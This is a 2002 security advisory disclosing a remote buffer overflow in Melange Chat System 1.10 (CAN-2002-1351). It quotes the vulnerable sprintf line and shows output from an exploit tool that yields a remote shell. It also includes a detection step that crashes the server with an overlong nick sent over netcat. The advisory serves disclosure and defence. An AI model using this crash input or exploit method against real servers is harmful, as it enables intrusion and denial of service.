// back

Melange Chat System Remote Buffer Overflow

12.16.02

BACKGROUND

Christian Walter's Melange Chat System is a chat client/server that provides an easy way to set up your own, power full chat. More information is available at http://melange.terminal.at .

DESCRIPTION

Remote exploitation of a buffer overflow in Melange allows an attacker to crash the application and, in some cases, execute arbitrary code. The vulnerable area of code is found within interpret.c, chat_InterpretData(), line 55:

sprintf(msgText,"<%d-%d, %s>:
%s",mClient[sender].channel,sender,mClient[sender].name,data);

The overflow occurs in the msgText buffer. This provides an attacker with control over the frame pointer and the last byte of the instruction pointer. If the instruction pointer can be modified to a "move %ebp, %esp" or a jump to such a move and place the address of arbitrary instructions in to %ebp, access to the system under the privileges of the user running the chat server is possible.

The following transcript demonstrates successful exploitation against Melange compiled with GCC 2.95.3 against GLIBC v1.2.9:

$ ./chester -t 2 -h -p 6666
[i] Building string
. 0x8077d9c as ebptag
. 0xbfffdb97 as poptag
. 0x78 as iptag
. 0 as allign
[i] Creating Connection.
[0] Sending Normal Nick Change
[1] Sending Pop Write
[2] Sending Long Nick Change
[3] Sending Crash String
[i] Trying to trigger shell...
Linux vmlinux 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=501(farmer) gid=501(farmer) groups=501(farmer)

ANALYSIS

Remote exploitation of the vulnerability allows an attacker to crash the server. Exploitation can also provide a remote attacker with local access to the target system. This can then be employed to launch privilege escalation attacks.

DETECTION

Melange Chat System 1.10, when compiled with GCC 2.95.3 against GLIBC v1.2.9, is vulnerable. Use the following steps to determine susceptibility:

$ nc localhost 6666
+++Online
>> Melange Chat Server (Version 1.10), Apr-25-1999

Welcome ! (Type /HELP for a list of commands)
/nick AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>> Your new name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (Line 0).
AAAAAAAAAAAAA..['A' repeated total of 480 times]..AAA
[0, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]:
AAAAAAAAAAAAA..['A' repeated total of 480 times]..AAA>> The administrator
shut down the server !
+++Quit

If the server shuts down as shown above, then it is vulnerable.

VENDOR RESPONSE

Walter pointed to a message on the main web site that states, "Due to lack of time development on the melange chat system and support had to be abandon. You may go on now, but keep in mind that there was no update for a long time. THERE ARE KNOWN BUGS AND SECURITY CONCERNS, SO USING MELANGE
IS ON YOUR OWN RISK!"

CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the identification number CAN-2002-1351 to this issue.

DISCLOSURE TIMELINE

10/24/2002 Issue disclosed to iDEFENSE
11/22/2002 Author notified (chris@terminal.at)
11/25/2002 iDEFENSE clients notified
12/01/2002 Second contact attempt with author
12/09/2002 Third contact attempt with author
12/16/2002 Public Disclosure